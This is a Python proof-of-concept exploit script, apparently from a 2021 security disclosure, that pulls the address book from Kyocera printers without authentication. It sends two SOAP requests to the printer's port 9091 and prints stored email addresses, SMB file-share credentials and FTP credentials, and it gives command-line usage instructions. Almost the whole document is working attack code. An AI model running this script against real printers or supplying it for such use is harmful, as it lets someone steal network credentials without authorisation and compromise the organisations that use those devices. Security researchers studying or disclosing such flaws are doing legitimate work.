"""
Kyocera printer exploit
Extracts sensitive data stored in the printer address book, unauthenticated, including:
*email addresses
*SMB file share credentials used to write scan jobs to a network fileshare
*FTP credentials
Author: Aaron Herndon, @ac3lives (Rapid7)
Date: 11/12/2021
Tested versions:
* ECOSYS M2640idw
* TASKalfa 406ci
*
Usage:
python3 getKyoceraCreds.py printerip
"""
import requests
import xmltodict
import warnings
import sys
import time
warnings.filterwarnings("ignore")
url = "https://{}:9091/ws/km-wsdl/setting/address_book".format(sys.argv[1])
headers = {'content-type': 'application/soap+xml'}
# Submit an unauthenticated request to tell the printer that a new address book object creation is required
body = """http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration25"""
response = requests.post(url,data=body,headers=headers, verify=False)
strResponse = response.content.decode('utf-8')
#print(strResponse)
parsed = xmltodict.parse(strResponse)
# The SOAP request returns XML with an object ID as an integer stored in kmaddrbook:enumeration. We need this object ID to request the data from the printer.
getNumber = parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body']['kmaddrbook:create_personal_address_enumerationResponse']['kmaddrbook:enumeration']
body = """http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list{}""".format(getNumber)
print("Obtained address book object: {}. Waiting for book to populate".format(getNumber))
time.sleep(5)
print("Submitting request to retrieve the address book object...")
response = requests.post(url,data=body,headers=headers, verify=False)
strResponse = response.content.decode('utf-8')
#rint(strResponse)
parsed = xmltodict.parse(strResponse)
print(parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body'])
print("\n\nObtained address book. Review the above response for credentials in objects such as 'login_password', 'login_name'")